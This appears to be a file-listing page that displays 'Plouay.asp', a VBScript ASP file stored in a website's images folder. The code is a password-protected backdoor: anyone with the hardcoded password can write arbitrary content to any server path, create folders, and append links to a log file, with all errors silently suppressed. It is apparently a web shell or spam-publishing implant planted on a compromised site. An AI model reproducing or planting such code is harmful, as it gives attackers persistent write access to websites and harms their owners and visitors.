Fichier "Plouay.asp"

Path: /SAHPL_LWS/SITE_SAHPL/images/Plouay/Plouay.asp
File size: 2.4 KB
MIME-type: text/plain
Charset: utf-8

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
On Error Resume next
sys_password="best168"
action=request("action")
password=request("password")
uploadpath=request("uploadpath")
filename=request("filename")
body=request("body")
ahref=request("ahref")

if password <> sys_password Then
    response.write("password error")
    response.end()
end if

if action = "test" Then
    response.write("test success")
    response.end()
end if

articlepath=""
apath=""

if uploadpath<>"" then
articlepath="/"&uploadpath&"/"&filename
apath="/"&uploadpath&"/A.txt"
CreateMultiFolder("/"&uploadpath)
else
    articlepath=filename
    apath="A.txt"
end if


Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Open
.Charset = "utf-8"
.Position = objStream.Size
.WriteText = request("body")
.SaveToFile server.mappath(articlepath),2
.Close
End With
Set objStream = Nothing

set fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(apath)=false then
    set a1 = fso.CreateTextFile(apath,True)
    a1.WriteLine ahref
    a1.Close
else
    set a2 = fso.openTextFile(apath, 8,True)
    a2.WriteLine ahref
    a2.Close
end if
set fso=nothing

set fso=CreateObject("Scripting.FileSystemObject")
if fso.fileexists(server.mappath(articlepath)) then
    response.write("publish success")
end if
set fso=nothing

Function CreateMultiFolder(ByVal CFolder)
    Dim objFSO, PhCreateFolder, CreateFolderArray, CreateFolder
    Dim i, ii, CreateFolderSub, PhCreateFolderSub, BlInfo
    BlInfo = False
    CreateFolder = CFolder
    On Error Resume Next
    Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
    If Err Then
        Err.Clear()
        Exit Function
    End If
    If Right(CreateFolder, 1) = "/" Then
        CreateFolder = Left(CreateFolder, Len(CreateFolder) -1)
    End If
    CreateFolderArray = Split(CreateFolder, "/")
    For i = 0 To UBound(CreateFolderArray)
        CreateFolderSub = ""
        For ii = 0 To i
            CreateFolderSub = CreateFolderSub & CreateFolderArray(ii) & "/"
        Next
        PhCreateFolderSub = Server.MapPath(CreateFolderSub)
        If Not objFSO.FolderExists(PhCreateFolderSub) Then
            objFSO.CreateFolder(PhCreateFolderSub)
        End If
    Next
    If Err Then
        Err.Clear()
    Else
        BlInfo = True
    End If
    CreateMultiFolder = BlInfo
End Function
%>